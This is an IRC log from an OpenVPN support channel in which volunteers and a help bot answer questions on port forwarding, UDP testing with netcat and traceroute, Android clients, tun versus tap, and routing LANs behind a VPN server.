05:06 -!- mitz_ [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has quit [Ping timeout: 276 seconds]
06:03 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
06:32 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
06:38 -!- kubbing [~kubbing@ip-89-177-146-145.net.upcbroadband.cz] has joined #openvpn
06:40 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
07:02 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 276 seconds]
07:13 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
07:16 -!- kubbing [~kubbing@ip-89-177-146-145.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
07:17 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
07:23 -!- master_of_master [~master_of@p4FD7BB76.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
07:25 -!- master_of_master [~master_of@p4FF24BEF.dip0.t-ipconnect.de] has joined #openvpn
07:37 -!- master_o1_master [~master_of@p4FD7BA44.dip0.t-ipconnect.de] has joined #openvpn
07:39 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
07:40 -!- master_of_master [~master_of@p4FF24BEF.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
09:03 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
09:19 < vstariradev> !ping
09:19 <@vpnHelper> pong
09:29 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
09:46 < vstariradev> Hi. I have a question for those who have setup OpenVPN using TunnelBlick. The sample configuration given looks like it's only for client setup. Where can I get a server sample config from?
10:10 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
10:45 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
10:52 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:52 -!- mitz_ [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has joined #openvpn
10:52 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Client Quit]
10:53 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:54 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Client Quit]
11:10 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has joined #openvpn
11:37 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
11:39 -!- Denial [~Denial@90.205.133.229] has joined #openvpn
11:40 < vstariradev> It turns out that TunnelBlick is not configured to be used as a server so I got myself openvpn2 through mac ports and got that running as a server.
11:40 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
11:41 < vstariradev> However, there is a new question.
11:42 < vstariradev> To establish a connection from the machine were the server is running to the client machine, does my server machine need to connect as a client to itself?
11:45 -!- master_of_master [~master_of@p4FD7B0F6.dip0.t-ipconnect.de] has joined #openvpn
11:46 < vstariradev> Is that a stupid question to ask or everybody is idle?
11:49 -!- master_o1_master [~master_of@p4FD7BA44.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
12:01 < EugeneKay> It's Saturday.
12:31 < vstariradev> !ping
12:31 <@vpnHelper> pong
12:52 < pekster> vstariradev: The client connects to the server, not the other way around
12:53 -!- Devastator [~devas@186.214.15.156] has joined #openvpn
12:54 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 255 seconds]
12:54 -!- Devastator [~devas@186.214.15.156] has quit [Changing host]
12:54 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
12:57 -!- mitz_ [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has quit [Ping timeout: 256 seconds]
13:06 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
13:10 -!- trumee [~parul@185.11.37.19] has quit [Read error: No route to host]
13:12 -!- trumee [~parul@185.11.37.19] has joined #openvpn
13:12 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:14 < vstariradev> pekster: Thanks. That's what I needed to know.
13:15 -!- qwertyoruiop_ [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
13:15 < vstariradev> So once the two clients are connected, one can connecto to the other.
13:17 < pekster> Sure, as long as the firewall allows it
13:19 -!- trumee [~parul@185.11.37.19] has quit [Ping timeout: 248 seconds]
13:20 -!- trumee [~parul@185.11.39.22] has joined #openvpn
13:21 -!- mitz_ [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has joined #openvpn
13:22 < vstariradev> That's the issue I'm facing now. It looks like the client can't go through normal ports and my 443 is alaredy busy with an ssh tunnel.
13:24 < altker128> vstariradev: What about port 80?
13:25 < pekster> Normally you want openvpn to operate over UDP, unless you're prevented from using it for some reason
13:25 < pekster> !tcp
13:25 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
13:26 -!- qwertyoruiop_ is now known as qwertyoruiop
13:27 < vstariradev> altker128: Even 80 doesn't work.
13:28 < vstariradev> And I'm doing a simple netcat on server to listen on 8080 and on router port forwarding from 80 to 8080
13:28 -!- mitz_ [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has quit [Ping timeout: 256 seconds]
13:28 < vstariradev> So client is going out on server:80 but nothing is received.
13:28 < pekster> That's not uncommon in corporate environments that use forced proxies
13:29 < pekster> Why did you opt not to use the default UDP transport?
13:29 < altker128> vstariradev: Do you need OpenVPN specifically?
13:29 < pekster> (assuming you're talking about tcp port 80, since udp/80 doesn't make a lot of sense
13:29 < altker128> vstariradev: Using SSH-tunneling through a proxy works too
13:30 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
13:30 < vstariradev> pekster: I don't think we're talking about opting about something here. Now I'm seeing that simple "telnet server 80" doesn't work.
13:31 < pekster> telnet is tcp
13:31 < pekster> OpenVPN should operate in *UDP* mode unless you have a very good reason not to
13:31 < pekster> Are you actually using (or intend to be using) --proto tcp-server and --proto tcp-client in your configs?
13:31 < vstariradev> pekster: That's how I've set it up to work.
13:32 < vstariradev> I use udp
13:32 < vstariradev> proto udp
13:32 < pekster> Are we talking about the port openvpn is using, or reaching a machine across an already established tunnel?
13:32 -!- erry [erry@freenode/staff/erry] has quit [Quit: Segmentation fault]
13:33 < vstariradev> altker128: I already have an SSH-tunnel but it goes from client machine to my router. Could that be used as a work-around?
13:33 < altker128> vstariradev: Yes!
13:33 < altker128> vstariradev: You connect to your SSH host with -D localhost:<port> and in your host SSH config, enable the SOCKS proxying mode
13:34 < altker128> vstariradev: You can then go to Firefox and tell it you have a SOCKS proxy at localhost:<port>
13:34 < altker128> vstariradev: You can set an option in firefox to use the SOCKS proxy for DNS too
13:34 < altker128> vstariradev: This isn't as "easy" as OpenVPN in that ALL of your traffic isn't routed across the link...but it's an acceptable compromise IMO
13:34 < vstariradev> I'm already using it fro browsing but it just didn't come to mind that I can use it for the OpenVPN too.
13:35 < altker128> vstariradev: Oh...well I don't it will work for OpenVPN.
13:35 < altker128> vstariradev: What is it that your SSH tunnel isn't doing for you?  Do you need anything other than browser?
13:35 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
13:36 < vstariradev> Basically the goal is to have remote desktop from home machine which is behind my router to a work machine behind a corporate network.
13:36 < pekster> You really don't want to use openvpn over a socks-proxy transport that's being handled by ssh. openssh already has a tun mode that you should use if that's what you want
13:36 -!- erry_ is now known as erry
13:37 < pekster> Why don't you just host the openvpn server at work and remotely connect to it when you need access?
13:37 < vstariradev> I already have an SSH tunnel established from client to my router but that's for browsing only and occasional work to home remote desktop.
13:37 < qwertyoruiop> you can also use SSHVPN by the way
13:37 < vstariradev> pekster: Because I can't open ports to the outside when I'm behind a corporate network
13:38 < pekster> Sounds a bit like you're trying to skirt company policy preventing you from doing this; I won't talk you out of it, but be aware of social issues it might cause
13:39 < pekster> netcat is quite able to test udp ports too, FYI
13:39 < altker128> qwertyoruiop: Cool suggestion.
13:39 < pekster> Pretty sure I noted the openssh support of tunnel device forwarding earlier
13:40 < altker128> pekster: I think you did, it just didn't register
13:40 < vstariradev> pekster: It's not against company policy to remotely access my work machine. My company actually gave me a cisco certificate to use but it's not compatible to use on Macs for some reason.
13:40 < pekster> Of course, if the tunnel goes down, it won't auto-reconnect like openvpn will
13:40 < pekster> vstariradev: Ah, cool. No worries either way, I just like to make people think who *are* breaking the rules
13:41 < pekster> ssh can do basically a "tun PtP over the ssh transport" but it's got the same drawbacks as operating openvpn over tcp, minus all the handy auto-reconnect features openvpn has. Think of it like a "poor man's VPN tunnel"
13:41 < vstariradev> qwertyoruiop: Correct me if I'm wrong but how would that solve my current problem. :)
13:41 < pekster> See the -w option in ssh(1)
13:42 < qwertyoruiop> vstariradev, i just read the last lines sorry
13:42 < vstariradev> qwertyoruiop: No problem.
13:43 < pekster> What was wrong with the default openvpn port of 1194 UDP?
13:43 < vstariradev> Nothing. It doesn't matter what port I use once I'm behind the home router.
13:44 < vstariradev> The question is on what port I leave the work computer.
13:44 < pekster> huh?
13:44 < pekster> You don't "leave" the client on any port; normally you use --noboind to have it dynamically allocate one like most other client apps already do (web browsers, email clients, DNS queries, etc, etc)
13:44 < pekster> The client doesn't "listen", it "connects"
13:45 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Read error: Operation timed out]
13:45 <@krzee> sure it leaves on a port, the src port of the connection, if his work firewall filters outbound that could need to be set instead of using nobind
13:46 < pekster> I read "leave the work computer" as if it's sitting listening for a connection. not "what port should the connection 'leave' (read: source) from". Maybe I mis-read that
13:47 < pekster> Why not just ask the firewall guys how it's set up and if you need special source ports or exceptions?
13:47 <@krzee> ahh yep
13:47 < vstariradev> Yeah sorry, I meant that it connects to server on that port.
13:47 < pekster> Guessing is usually a slow/poor way to fix things
13:48 < pekster> Some corporate shops allow only outbound traffic through their special proxies unless you get an exception; some even ban all other forms of outbound traffic to prevent VPNs from working (especially places that try to prevent leaks of sensitive data)
13:49 < pekster> I still don't get why you were trying to telnet to your server on port 80; telnet is tcp, and you are apparently operating openvpn over UDP. The test means nothing
13:50 < pekster> Open the port in your server-side firewalls and route it into your RFC1918 LAN accordingly. Ensure that the port and protocol matches what the external side is using, and verify (perhaps with tcpdump on the server itself) that the inbound packet arrives
13:50 <@krzee> openvpn on port 80 udp, lol
13:50 <@krzee> not exactly tricky :D
13:50 < pekster> No, I was commenting on the use of `telnet $server 80` which is a pointless test if udp/80 is being used
13:51 <@krzee> totally, i hadnt read that much above, am agreeing with ya and having a chuckle on uding port 80 udp for openvpn
13:51 <@krzee> using*
13:52 < vstariradev> I'll get netcat on client machine and send some udp packets to server then.
13:52 <@krzee> ?or you could use openvpn
13:52 <@krzee> o.O
13:52  * pekster just offered a much more simple way to test your initial packet connectivity
13:53 < vstariradev> I want to debug it first and be 100% sure that the connection is ok.
13:53 < pekster> So set up openvpn and use tcpdump? Like I suggested?
13:53 <@krzee> ^^
13:53 < pekster> Is there a reason you cannot use my suggestion?
13:53 < vstariradev> where is the tcpdump going to run?
13:54 < vstariradev> I didn't get that party sorry.
13:54 < vstariradev> *part :)
13:54 < pekster> 13:50:18 < pekster> Open the port in your server-side firewalls and route it into your RFC1918 LAN accordingly. Ensure that the port and protocol matches what the external side is using, and verify (perhaps with tcpdump on the server itself) that the inbound packet arrives
13:54 < pekster> Reading what is said would be a wise place to start. Asking questions if you don't understand may also help
13:55 <@krzee> :D
13:55 < pekster> Other clever ways to verify you get the packet would be a firewall rule on the server that just acts as a hitcounter (aka, a "poor man's tcpdump") or similar setups
13:56 < vstariradev> Right, I can achieve that with netcat -l port also right?
13:57 < vstariradev> netcat -lu 1194
13:58 < pekster> Sure, but why involve extra tools? I guess in the end it won't really matter
13:58 < vstariradev> It's what I'm used to using. That's all. I can use tcpdump too.
13:59 < pekster> netcat is fine used like that
14:02 < vstariradev> Testing...
14:03 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
14:07 < vstariradev> Nothing.
14:08 < vstariradev> I'm starting to think my router is not doing its job.
14:08 < pekster> Should be easy enough to test by tracing the packet path over that same port
14:12 < vstariradev> I'll continue trying to establish that connection somehow later.
14:13 -!- lirime [~liriel@aphrodite.feralhosting.com] has quit [Quit: bye]
14:13 < vstariradev> Thanks for all the help and suggestions pekster krzee qwertyoruiop and anyone I forgot.
14:13 < pekster> Depends on how your traceroute binary works, but something like `traceroute -p 1194 -U $server` might be helpful
14:14 < pekster> -p is for port, and on my installation, -U keeps the dst-port static instead of incrementing it like traceroute normally does
14:14 < pekster> It'll at least show you where the packet gets lost
14:16 < vstariradev> Thanks, I'll make a note of that.
14:16 < pekster> The router should (assuming it's configured properly) return an 'icmp TIME_EXCEEDED' reply at the last hop (you won't see your server in the output since openvpn will receive and then ignore a non-openvpn packet)
14:26 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
14:27 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Client Quit]
14:28 -!- vaq_ [~textual@190.27.22.124] has joined #openvpn
14:29 -!- altker128 [~altker128@c-24-16-15-217.hsd1.wa.comcast.net] has quit [Remote host closed the connection]
14:41 -!- vaq_ [~textual@190.27.22.124] has quit [Ping timeout: 268 seconds]
14:42 -!- altker128 [~altker128@c-24-16-15-217.hsd1.wa.comcast.net] has joined #openvpn
14:43 < altker128> Anyone here using OpenVPN on Android?  There are a few clients (the Official one), OpenVPN for Android by Schwabe , ICS OpenVPN , etc
14:44 < EugeneKay> !android
14:44 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
14:44 < EugeneKay> The "official" one is geared towards AS clients, but(I'm pretty sure) it works with the GPL openvpn too
14:45 < altker128> My desire would be to make sure ALL traffic is routed through the OVPN server (3G/WiFi/whatever) and support for tethering...any experience here?
14:45 < EugeneKay> !redirect
14:45 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:46 <@vpnHelper> http://ircpimps.org/redirect.png
14:46 < EugeneKay> Get it working on a laptop first, then bring the config over to your phone.
14:46 < altker128> EugeneKay: Yes, I have the server side options set
14:46 < altker128> EugeneKay: Yes, already there.
14:46 < EugeneKay> Tethering(on CM anyway) works fine
14:47 < altker128> EugeneKay: I was asking more specifically about those features via an openvpn client on Android.  The "android-openvpn-settings" seems to have issues with tethering and need for root access
14:47 < EugeneKay> I don't use that one, so no clue.
14:47 < altker128> EugeneKay: Do you use any clients on Android?  If so, which one?
14:48 < EugeneKay> Openvpn for Android, aka ics-openvpn
14:48 < EugeneKay> The same as recommended above by the bot
14:48 < altker128> I see.  And not the "official" one :)
14:49 < pekster> CM ships with a version, although it's a bit out of date on my CM7 installation (latest my older phone supports)
14:49 < pekster> Unless you needed the IPv6 features, >=2.1 has "most" of the options you'd normally want, although 2.3.2 is the latest version with all the new features and bugfixes
14:50 < altker128> Do client and server have to be version matched?  I guess so due to protocol differences
14:50 < EugeneKay> CM dropped it with 9/10 because of the VPN API
14:50 < pekster> Any 2.x is supported against any other 2.x, but older than 2.1 and you miss serious features like the 'subnet' topology in particular
14:50 < pekster> My CM7 2.1.4 openvpn version can connect fine to my 2.3.2 server
14:51 < altker128> OK, I'd probably be doing something similar
14:51 < pekster> IPv6 is the only "loss", and it's just a niciety for me at present. If I really need that, I'm on my laptop anyway
14:51 < altker128> I'm not in need of ipv6
14:53 < pekster> 2.1.x is fine then. The changelog has full details of new features/fixes, but unless you know you need one, it's no problem to connect 2.1.x client to a 2.2 or 2.3 server
14:54 < pekster> A newer phone will support the "ics-openvpn" project, which is a build using the GPL sources tracking the latest release
14:54 < altker128> 10-4, thanks a lot :)
14:54 < pekster> The AS stuff is "mostly GPL-compatible" with some notable differences, and of course no public sources
15:00 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 268 seconds]
15:12 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
15:15 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
15:26 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
15:29 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Read error: Connection reset by peer]
15:35 -!- ||arifaX [~Commodore@unaffiliated/arifax/x-427475] has joined #openvpn
15:35 -!- averagecase [~anon@dslb-088-078-250-039.pools.arcor-ip.net] has joined #openvpn
15:38 -!- master_o1_master [~master_of@p4FF24965.dip0.t-ipconnect.de] has joined #openvpn
15:41 -!- master_of_master [~master_of@p4FD7B0F6.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds]
15:43 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
15:47 < altker128> EugeneKay: Does the ics-openvpn block network access if NOT on VPN?
15:47 < EugeneKay> Nope.
15:47 < EugeneKay> That's iptables job
15:48 < altker128> EugeneKay: So how do you enforce that policy?  Some custom iptables rules that you load via AFWall/DroidWall ?
15:48 < EugeneKay> Yup.
15:48 < altker128> EugeneKay: Would you consider paste-binning your rules?
15:48 < EugeneKay> I don't have any on my phone
15:49 < altker128> EugeneKay: So I mean, on the phone, how do you prevent data "leakage" and data access that does NOT use your VPN?
15:49 < EugeneKay> !iptables
15:49 <@vpnHelper> "iptables" is (#1) to test if iptables is your problem, disable all rules or put the defaults to accept: iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -F; iptables -Z or (#2) please see https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG for more info or (#3) you can see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for pf
15:49 <@vpnHelper> or iptables or (#4) These are just the basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You may try #netfilter
15:49 < EugeneKay> #4 in particular ;-)
15:50 < pekster> The basic premise is that you deny outbound access except for necessary traffic to keep your VPN tunnel alive, but firewall/OS config is more or less outside the scope of #openvpn
15:50 < pekster> The Tails live-CD distro does basically the same thing with tor so that you can't accidently access the raw Internet
15:51 < altker128> EugeneKay: So are you saying you do NOT have anything on the phone that prevents leakage, or that you do and you're making use of iptables?
15:51 < EugeneKay> I don't iptables on my phone, no.
15:52 < altker128> So you have the potential for leakage.
15:52 < EugeneKay> I just use the vpn for access to my private network stuff
15:52 < altker128> Gotcha.
15:52 < EugeneKay> Doesn't matter, I'm not redirecting
15:52 < altker128> OK.  I follow.
15:53 < altker128> pekster: What about you?  Do you have any such enforcement?
15:53 < pekster> Nope. I very rarely do openvpn directly from my phone; generally I'll just tether my PC to the phone and VPN from there
15:53 < pekster> The most I tend to do from the phone I can do with my ssh and scp applications
16:11 < altker128> EugeneKay: In your case, do you run in 'tap' mode on the server to bridge your client to your network?
16:11 < EugeneKay> Nope.
16:12 < pekster> !tunortap
16:12 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
16:12 < altker128> EugeneKay: So you have machines on your local LAN (i.e. some server) and your phone conencts via OpenVPN.  How does the ip mapping work (via tap)
16:12 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
16:12 < EugeneKay> !route
16:12 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
16:12 <@vpnHelper> behind the server or client
16:14 < altker128> I'm assuming you can do tun on device side and tap on server side.
16:14 < pekster> Nope
16:14 < pekster> It's a completely different Layer (OSI Layer) of transport
16:14 < pekster> tap is only used when you must transport raw Ethernet frames that cannot otherwise be transported in an IP packet
16:14 < altker128> Right.
16:15 < pekster> They have to match on both ends. Think of tap like the items you put in a box, and tun like the box itself (that holds the items you're shipping.) Using tap at one end and tun on the other is like handing a vase to FedEx and expecting them to just ship it like that, without a box. It doesn't work.
16:16 < altker128> Yeah, I thought maybe openvpn could pack and unpack , but I see what it cannot
16:17 < pekster> It's "packing" the IP (with tun, or Ethernet with tap) inside a UDP packet (or TCP, when used in TCP mode)
16:17 < altker128> yeah
16:17 < pekster> It's like any other transport protocol in that sense
16:22 < altker128> So that article is basically saying if your LAN is using 192.168 , it should be changed...
16:23 < pekster> 192.168.0/24 or 192.168.1/24 are the two most common RFC1918 LANs used by SOHO routers
16:23 < pekster> Using them and then attempting to push routes for them across a VPN link is best avoided since it'll break if you're ever connecting from the same IP range
16:24 < pekster> 10.0.0/24 and 10.0.1/24 are best avoided for the same reason
16:24 < pekster> !rfc1918
16:24 <@vpnHelper> "rfc1918" is "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
16:24 < altker128> Yeah.  So I'm OK with having OpenVPN supply 10.x.x or another class, but I'm a bit worried the openvpn clients won't see my 192.168.x.x machines
16:24 < pekster> Depends on a value of "x"
16:24 < altker128> Which are on the same LAN as the openvpn server
16:24 < pekster> 192.168.172/24 is probably fine
16:24 < pekster> 192.168.0/24 is not
16:24 < altker128> 192.168.0.x
16:24 < altker128> yeah
16:25 <@krzee> !serverlan
16:25 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
16:26 < altker128> the ircpimps site is down
16:26 <@krzee> oh damn it is
16:26 <@krzee> 1min
16:27  * pekster thought he had a mirror of those, but apparently not
16:28 <@krzee> and it seems i only put the redirect.png on my mirror
16:29 <@krzee> *facepalm*
16:29 <@krzee> im locked out of hemp right now so i cant fix that quite yet? i may have the original handy tho? will check
16:31 <@krzee> doh, i have clientlan handy not serverlan
16:31 <@krzee> !route
16:31 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
16:31 <@vpnHelper> the server or client
16:31 <@krzee> i guess you just gotta read the long-winded version, it explains how to route lans behind clients and server
16:33 < altker128> I follow
16:33 < altker128> the bridging and routing guide is useful , I was confused how LAN/OpenVPN clients are made 'aware' of each others existance and that answers it...static route needs to be added on the router
16:34 < altker128> "Using routing and OpenVPN not running on the default gateway" is basically my setup
16:34 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 256 seconds]
16:34 < pekster> Right, you need both inbound and return routing to flow correctly
16:34 < pekster> Or use NAT to hack around it, but that's to be avoided at all costs
16:34 < altker128> Yeah.  That's what tap makes 'easier'
16:34 < altker128> With more overhead, etc.
16:35 -!- ||arifaX [~Commodore@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
16:35 < pekster> It's not really easier though; you're making that "a tiny bit easier" and then adding complication with OS bridging setup, extra coordination required with your local LAN to ensure IP pools don't overlap, etc
16:35 < altker128> pekster: In my case I use bridging already with virtual machines and I find it quite easy to work with.
16:36 < pekster> But there you're not using a secondary DHCP pool, generally
16:36 < altker128> pekster:  In fact the openvpn machine is a virtual machine who's IP is assigned to him via my router's DHCP daemon .  It centralizes the IP management (or I can ignore it because it's DHCP)
16:36 < pekster> Except you can't do that with openvpn
16:36 < pekster> Passing a default gateway to the remote VPN client will cause all sorts of issues
16:37 < altker128> yeah, I understand
16:38 < pekster> You could mess with ISC DHCP's classes and *not* pass the routers option to clients that have the well-known FF: MAC prefix for tap adapters, but we're getting deep into the "it's not as easy as most people think" realm here
16:39 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
16:39 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 256 seconds]
16:42 <@krzee> really, to setup routing is easier
16:44 < altker128> I think bridging is underrated :)
16:45 < altker128> Thanks for the pointers and discussions guys
16:46 -!- averagecase [~anon@dslb-088-078-250-039.pools.arcor-ip.net] has quit [Quit: Verlassend]
16:46 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
17:20 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Quit: really? must I leave? aw pls let me stay!]
17:20 <@krzee> bridging has its uses, but to replace proper routing is not a good use of it in my opinion =]
17:21 < pekster> If that was a good idea, the globe would be primarily bridge, not routed
17:23 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
17:52 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
17:53 < jzaw> !ping
17:53 <@vpnHelper> pong
17:53 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
18:00 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Quit: really? must I leave? aw pls let me stay!]
18:00 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
18:01 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
18:01 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:08 -!- qwertyoruiop is now known as geohawt
18:09 -!- geohawt is now known as qwertyoruiop
18:21 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
18:26 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
18:35 -!- Denial [~Denial@90.205.133.229] has quit []
18:47 -!- Protected [~Join@myshelter.net] has joined #openvpn
18:48 < Protected> Hey all. I'm not sure this is the right place for this question, if that's the case just let me know... (It's firewall-related)
18:48 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Quit: really? must I leave? aw pls let me stay!]
18:48 < Protected> I'm running openvpn on a server and a bunch of clients
18:48 < Protected> I need to add a new client which should be able to benefit from client to client, but NOT allowed to connect to the internet through the vpn
18:49 < Protected> Only to other clients in the vpn subnet
18:49 < Protected> How can I accomplish this?
18:49 < Protected> When I try to google the issue, all I get are people trying to block non-vpn traffic on the client, which is not what I want
18:49 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
18:50 < pekster> Protected: Easiest is probably to create a --client-connect script that reads the $common_name env-var and takes action in your OS's firewall to block the traffic that client's IP shouldn't be sending. You'll need an equivelent hook in --client-disconnect to undo that too
18:51 < pekster> Optionally you could see !static and give that client a static IP and keep static firewall rules to avoid doing it dynamically
18:51 < pekster> Both have the same end-effect
18:54 < Protected> !static
18:54 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
18:55 < Protected> So... No user-based way of doing it on the server side?
18:55 < pekster> I just gave you the user-based way
18:55 < pekster> Was there some part of it you didn't understand?
18:56 < Protected> If that's server side, I understood nothing of it
18:56 < pekster> Both of them are
18:57 < pekster> I'd start by reading the various config directives you've just been given
18:57 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
18:57 -!- mode/#openvpn [+v s7r] by ChanServ
18:57 < pekster> Maybe see the extra !factoid links the bot has if you don't know what a ccd file is, for instance. Then ask a smarter question that shows you did more than no reading on the subject
18:57 < pekster> Manges can be found by `man openvpn` or see !man for web links
18:58 < pekster> Manpages*
19:02 -!- batrick [batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
19:03 -!- Protected [~Join@myshelter.net] has quit [Ping timeout: 240 seconds]
19:05 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
